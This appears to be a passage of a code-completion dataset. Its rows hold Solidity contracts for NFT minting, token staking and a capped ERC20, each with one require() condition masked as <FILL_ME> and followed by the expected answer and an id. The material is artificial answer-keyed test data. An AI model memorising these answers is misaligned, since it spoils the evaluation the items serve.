*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits an {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
contract MutantY00tsYachtClub is ERC721A, Ownable {
using Strings for uint256;
string private baseURI = "https://mutanty00tsyachtclub.s3.amazonaws.com/metadata/";
uint256 public price = 0.0033 ether;
uint256 public maxPerTx = 20;
uint256 public maxFreePerWallet = 1;
uint256 public totalFree = 8000;
uint256 public maxSupply = 10000;
bool public mintEnabled = true;
uint public totalFreeMinted = 0;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("MutantY00tsYachtClub", "MYYC") {}
function mint(uint256 count) external payable {
uint256 cost = price;
bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
(_mintedFreeAmount[msg.sender] < maxFreePerWallet));
if (isFree) {
require(mintEnabled, "Mint is not live yet");
require(totalSupply() + count <= maxSupply, "No more");
require(count <= maxPerTx, "Max per TX reached.");
if(count >= (maxFreePerWallet - _mintedFreeAmount[msg.sender]))
{
require(<FILL_ME>)
_mintedFreeAmount[msg.sender] = maxFreePerWallet;
totalFreeMinted += maxFreePerWallet;
}
else if(count < (maxFreePerWallet - _mintedFreeAmount[msg.sender]))
{
require(msg.value >= 0, "Please send the exact ETH amount");
_mintedFreeAmount[msg.sender] += count;
totalFreeMinted += count;
}
}
else{
require(mintEnabled, "Mint is not live yet");
require(msg.value >= count * cost, "Please send the exact ETH amount");
require(totalSupply() + count <= maxSupply, "Sold out");
require(count <= maxPerTx, "Max per TX reached.");
}
_safeMint(msg.sender, count);
}
function tokenURI(uint256 tokenId)
public view virtual override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyOwner {
}
function setFreeAmount(uint256 amount) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| msg.value>=(count*cost)-((maxFreePerWallet-_mintedFreeAmount[msg.sender])*cost),"Please send the exact ETH amount" | 85,652 | msg.value>=(count*cost)-((maxFreePerWallet-_mintedFreeAmount[msg.sender])*cost) |
"Please claim rewards for your previous stake" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract PLSDStaker is ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable reloadPeriod; // period users are allowed to deposit/withdraw their stake without penalty (in seconds)
uint256 public immutable lockedPeriod; // staking duration (in seconds)
uint256 public immutable emergencyUnlockFeeBps; // emergency unlock fee in percentage basis points
uint256 public immutable lockingCost; // cost for locking (in terms of CARN)
uint256 public reloadStart; // start of reload period as timestamp
uint256 public reloadEnd; // end of reload period as timestamp
uint256 public plsdRewardPool; // keeps track of the plsd rewards
uint256 public plsdPendingRewards; // keeps track of plsd contributions to the reward pool made during reload period
uint256 public plsdRewardPoolTotal; // Total plsd reward for the last stake
uint256 public plsbRewardPool; // keeps track of the plsb rewards
uint256 public plsbPendingRewards; // keeps track of plsb contributions to the reward pool made during reload period
uint256 public plsbRewardPoolTotal; // Total plsb reward for the last stake
uint256 public asicRewardPool; // keeps track of the asic rewards
uint256 public asicPendingRewards; // keeps track of asic contributions to the reward pool made during reload period
uint256 public asicRewardPoolTotal; // Total asic reward for the last stake
uint256 public hexRewardPool; // keeps track of the hex rewards
uint256 public hexPendingRewards; // keeps track of hex contributions to the reward pool made during reload period
uint256 public hexRewardPoolTotal; // Total hex reward for the last stake
address public immutable CARN; // Token used as locking cost
address public immutable PLSD; // Token to stake
address public immutable PLSB; // Reward token
address public immutable ASIC; // Reward token
address public immutable HEX; // Reward token
address public immutable BuyAndBurn; // address to send the accumulated CARN tokens for further processing
enum State {
ReloadPeriod,
LockedPeriod
}
struct Stake {
uint256 amount;
uint256 stakeId;
}
State public state; // keeps track of the current state of the contract
mapping(address => Stake) public stakes; // keeps track of stakes of each user
mapping(uint256 => uint256) public stakePool; // keeps track of the available pool for a given stakeId
uint256 public currentStakeId; // keeps track of current stake Id
uint256 public unclaimedAmount; // keeps track of unclaimed amount from stake pool
event NewStake(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event PLSDRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event PLSBRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event ASICRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event HEXRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event RewardReset(address indexed staker, uint256 indexed stakeId);
event EmergencyWithdraw(
address indexed staker,
uint256 indexed stakeId,
uint256 withdrawAmount,
uint256 penaltyAmount
);
event PLSDDeposited(address indexed depositor, uint256 depositAmount);
event PLSBDeposited(address indexed depositor, uint256 depositAmount);
event ASICDeposited(address indexed depositor, uint256 depositAmount);
event HEXDeposited(address indexed depositor, uint256 depositAmount);
event LockedPeriodStarted(
address indexed caller,
uint256 id,
uint256 timestamp
);
event ReloadPeriodStarted(
address indexed caller,
uint256 id,
uint256 timestamp
);
event CarnSent(address indexed caller, uint256 amount);
constructor(
uint256 _firstReloadPeriod,
uint256 _reloadPeriod,
uint256 _lockedPeriod,
uint256 _emergencyUnlockFeeBps,
uint256 _lockingCost,
address _CARN,
address _PLSD,
address _PLSB,
address _ASIC,
address _HEX,
address _BuyAndBurn
) {
}
function stake(uint256 _amount) public nonReentrant {
if (block.timestamp > reloadEnd && state == State.ReloadPeriod) {
// reloadPeriod ended, start lockedPeriod
startLockedPeriod();
} else {
if (
block.timestamp > reloadStart && state != State.ReloadPeriod
) {
// lockedPeriod ended, start reloadPeriod
startReloadPeriod();
}
if (
stakes[msg.sender].amount == 0 &&
stakes[msg.sender].stakeId != currentStakeId
) {
// new staker/staker don't have any pending claims, update stakeId
stakes[msg.sender].stakeId = currentStakeId;
}
require(
state == State.ReloadPeriod,
"Can't stake during locked period"
);
require(_amount > 0, "Amount should be greater than zero");
require(<FILL_ME>)
stakePool[currentStakeId] += _amount;
stakes[msg.sender].amount += _amount;
// Transfer the lockingCost to contract
IERC20(CARN).safeTransferFrom(msg.sender, BuyAndBurn, lockingCost);
// Transfer the stake to contract
IERC20(PLSD).safeTransferFrom(msg.sender, address(this), _amount);
emit NewStake(msg.sender, currentStakeId, _amount);
}
}
// function to trigger the locked period
function startLockedPeriod() public {
}
function startReloadPeriod() public {
}
// function to end the stake during locked period in case of any emergency (emergency unlock fee is deducted)
function emergencyEnd() public nonReentrant {
}
// function to contribute plsd to the reward pool
function depositPLSD(uint256 _amount) public nonReentrant {
}
// function to contribute plsb to the reward pool
function depositPLSB(uint256 _amount) public nonReentrant {
}
// function to contribute asic to the reward pool
function depositASIC(uint256 _amount) public nonReentrant {
}
// function to contribute hex to the reward pool
function depositHEX(uint256 _amount) public nonReentrant {
}
// function to claim rewards once staking ends
function claimRewards() public nonReentrant {
}
}
| stakes[msg.sender].stakeId==currentStakeId,"Please claim rewards for your previous stake" | 85,712 | stakes[msg.sender].stakeId==currentStakeId |
"No stakes" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract PLSDStaker is ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable reloadPeriod; // period users are allowed to deposit/withdraw their stake without penalty (in seconds)
uint256 public immutable lockedPeriod; // staking duration (in seconds)
uint256 public immutable emergencyUnlockFeeBps; // emergency unlock fee in percentage basis points
uint256 public immutable lockingCost; // cost for locking (in terms of CARN)
uint256 public reloadStart; // start of reload period as timestamp
uint256 public reloadEnd; // end of reload period as timestamp
uint256 public plsdRewardPool; // keeps track of the plsd rewards
uint256 public plsdPendingRewards; // keeps track of plsd contributions to the reward pool made during reload period
uint256 public plsdRewardPoolTotal; // Total plsd reward for the last stake
uint256 public plsbRewardPool; // keeps track of the plsb rewards
uint256 public plsbPendingRewards; // keeps track of plsb contributions to the reward pool made during reload period
uint256 public plsbRewardPoolTotal; // Total plsb reward for the last stake
uint256 public asicRewardPool; // keeps track of the asic rewards
uint256 public asicPendingRewards; // keeps track of asic contributions to the reward pool made during reload period
uint256 public asicRewardPoolTotal; // Total asic reward for the last stake
uint256 public hexRewardPool; // keeps track of the hex rewards
uint256 public hexPendingRewards; // keeps track of hex contributions to the reward pool made during reload period
uint256 public hexRewardPoolTotal; // Total hex reward for the last stake
address public immutable CARN; // Token used as locking cost
address public immutable PLSD; // Token to stake
address public immutable PLSB; // Reward token
address public immutable ASIC; // Reward token
address public immutable HEX; // Reward token
address public immutable BuyAndBurn; // address to send the accumulated CARN tokens for further processing
enum State {
ReloadPeriod,
LockedPeriod
}
struct Stake {
uint256 amount;
uint256 stakeId;
}
State public state; // keeps track of the current state of the contract
mapping(address => Stake) public stakes; // keeps track of stakes of each user
mapping(uint256 => uint256) public stakePool; // keeps track of the available pool for a given stakeId
uint256 public currentStakeId; // keeps track of current stake Id
uint256 public unclaimedAmount; // keeps track of unclaimed amount from stake pool
event NewStake(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event PLSDRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event PLSBRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event ASICRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event HEXRewardClaimed(
address indexed staker,
uint256 indexed stakeId,
uint256 amount
);
event RewardReset(address indexed staker, uint256 indexed stakeId);
event EmergencyWithdraw(
address indexed staker,
uint256 indexed stakeId,
uint256 withdrawAmount,
uint256 penaltyAmount
);
event PLSDDeposited(address indexed depositor, uint256 depositAmount);
event PLSBDeposited(address indexed depositor, uint256 depositAmount);
event ASICDeposited(address indexed depositor, uint256 depositAmount);
event HEXDeposited(address indexed depositor, uint256 depositAmount);
event LockedPeriodStarted(
address indexed caller,
uint256 id,
uint256 timestamp
);
event ReloadPeriodStarted(
address indexed caller,
uint256 id,
uint256 timestamp
);
event CarnSent(address indexed caller, uint256 amount);
constructor(
uint256 _firstReloadPeriod,
uint256 _reloadPeriod,
uint256 _lockedPeriod,
uint256 _emergencyUnlockFeeBps,
uint256 _lockingCost,
address _CARN,
address _PLSD,
address _PLSB,
address _ASIC,
address _HEX,
address _BuyAndBurn
) {
}
function stake(uint256 _amount) public nonReentrant {
}
// function to trigger the locked period
function startLockedPeriod() public {
}
function startReloadPeriod() public {
}
// function to end the stake during locked period in case of any emergency (emergency unlock fee is deducted)
function emergencyEnd() public nonReentrant {
}
// function to contribute plsd to the reward pool
function depositPLSD(uint256 _amount) public nonReentrant {
}
// function to contribute plsb to the reward pool
function depositPLSB(uint256 _amount) public nonReentrant {
}
// function to contribute asic to the reward pool
function depositASIC(uint256 _amount) public nonReentrant {
}
// function to contribute hex to the reward pool
function depositHEX(uint256 _amount) public nonReentrant {
}
// function to claim rewards once staking ends
function claimRewards() public nonReentrant {
if (block.timestamp > reloadEnd && state == State.ReloadPeriod) {
// reloadPeriod ended, start lockedPeriod
startLockedPeriod();
} else {
if (
block.timestamp > reloadStart && state != State.ReloadPeriod
) {
// lockedPeriod ended, start reloadPeriod
startReloadPeriod();
}
require(
state == State.ReloadPeriod,
"Can't claim during locked period"
);
require(<FILL_ME>)
if (stakes[msg.sender].stakeId == currentStakeId - 1) {
// normal case - user can claim their rewards
uint256 _plsdReward = (plsdRewardPoolTotal * stakes[msg.sender].amount) / stakePool[currentStakeId - 1];
uint256 _plsdAmount = stakes[msg.sender].amount + _plsdReward;
plsdRewardPool -= _plsdReward;
uint256 _plsbReward = (plsbRewardPoolTotal * stakes[msg.sender].amount) / stakePool[currentStakeId - 1];
plsbRewardPool -= _plsbReward;
uint256 _asicReward = (asicRewardPoolTotal * stakes[msg.sender].amount) / stakePool[currentStakeId - 1];
asicRewardPool -= _asicReward;
uint256 _hexReward = (hexRewardPoolTotal * stakes[msg.sender].amount) / stakePool[currentStakeId - 1];
hexRewardPool -= _hexReward;
unclaimedAmount -= stakes[msg.sender].amount;
stakes[msg.sender].amount = 0;
stakes[msg.sender].stakeId = currentStakeId;
IERC20(PLSD).safeTransfer(msg.sender, _plsdAmount);
IERC20(PLSB).safeTransfer(msg.sender, _plsbReward);
IERC20(ASIC).safeTransfer(msg.sender, _asicReward);
IERC20(HEX).safeTransfer(msg.sender, _hexReward);
emit PLSDRewardClaimed(
msg.sender,
currentStakeId - 1,
_plsdAmount
);
emit PLSBRewardClaimed(
msg.sender,
currentStakeId - 1,
_plsbReward
);
emit ASICRewardClaimed(
msg.sender,
currentStakeId - 1,
_asicReward
);
emit HEXRewardClaimed(
msg.sender,
currentStakeId - 1,
_hexReward
);
} else if (stakes[msg.sender].stakeId == currentStakeId) {
revert("Staking for this id is not finished yet");
} else {
// Invalid stakeId - reset user's amount and stakeId
stakes[msg.sender].amount = 0;
stakes[msg.sender].stakeId = currentStakeId;
emit RewardReset(msg.sender, currentStakeId);
}
}
}
}
| stakes[msg.sender].amount>0,"No stakes" | 85,712 | stakes[msg.sender].amount>0 |
"ERC20Capped: cap exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Capped.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is IERC20Capped, ERC20 {
using SafeMath for uint256;
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) internal {
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual override returns (uint256) {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// When minting tokens
require(<FILL_ME>)
}
}
}
| totalSupply().add(amount)<=cap(),"ERC20Capped: cap exceeded" | 85,788 | totalSupply().add(amount)<=cap() |
"mintAmount is zero" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
uint256 mintTotal = 0;
uint256 limitAdminMint = 100; // 引数間違いに備えてこのトランザクション内での最大ミント数を設定しておく
// 引数配列の整合性チェック
require(_to.length == _num.length, "args error");
for (uint256 i = 0; i < _num.length; i++) {
mintTotal += _num[i];
require(<FILL_ME>)
}
// ミント数合計が最大ミント数を超えていないか
require(mintTotal <= limitAdminMint, "exceed limitAdminMint");
require(totalSupply() + mintTotal <= mintLimit, "exceed mintLimit");
// ミント処理
for (uint256 i = 0; i < _to.length; i++) {
_safeMint(_to[i], _num[i]);
mintCount[_to[i]] += _num[i];
}
nextTokenId += mintTotal;
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| _num[i]>0,"mintAmount is zero" | 85,914 | _num[i]>0 |
"exceed mintLimit" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
uint256 mintTotal = 0;
uint256 limitAdminMint = 100; // 引数間違いに備えてこのトランザクション内での最大ミント数を設定しておく
// 引数配列の整合性チェック
require(_to.length == _num.length, "args error");
for (uint256 i = 0; i < _num.length; i++) {
mintTotal += _num[i];
require(_num[i] > 0, "mintAmount is zero");
}
// ミント数合計が最大ミント数を超えていないか
require(mintTotal <= limitAdminMint, "exceed limitAdminMint");
require(<FILL_ME>)
// ミント処理
for (uint256 i = 0; i < _to.length; i++) {
_safeMint(_to[i], _num[i]);
mintCount[_to[i]] += _num[i];
}
nextTokenId += mintTotal;
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| totalSupply()+mintTotal<=mintLimit,"exceed mintLimit" | 85,914 | totalSupply()+mintTotal<=mintLimit |
"Invalid Merkle Proof" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
// オーナーチェック
if (!hasAdminOrOwner()) {
// originチェック
require(tx.origin == msg.sender, "cannot mint from non-origin");
// セールフェイズチェック
if (phase == SalePhase.Locked) {
revert("Sale locked");
} else if (phase == SalePhase.PreSale) {
// マークルツリーが正しいこと
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
} else if (phase == SalePhase.PublicSale) {
// チェック不要
}
// ミント数が購入単位と一致していること,ミント数が設定されていること
require(
_mintAmount % purchaseUnit == 0 && _mintAmount > 0,
"Invalid purchaseUnit"
);
// アドレスごとのミント数上限チェック
require(
mintCount[msg.sender] + _mintAmount <= maxMintPerAddress,
"exceeds number of per address"
);
// ミント数に応じた ETHが送金されていること
uint256 cost = mintPrice * _mintAmount;
require(cost <= msg.value, "insufficient funds");
} else {
require(msg.value == 0, "owners mint price is free");
}
// 最大供給数に達していないこと
require(totalSupply() + _mintAmount <= mintLimit, "Sold out");
// ミント
// for (uint256 i; i < _mintAmount; i++) {
// _safeMint(msg.sender, nextTokenId + i);
// }
_safeMint(msg.sender, _mintAmount);
nextTokenId += _mintAmount;
// ミント数カウントアップ
mintCount[msg.sender] += _mintAmount;
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| MerkleProof.verifyCalldata(_merkleProof,merkleRoot,leaf),"Invalid Merkle Proof" | 85,914 | MerkleProof.verifyCalldata(_merkleProof,merkleRoot,leaf) |
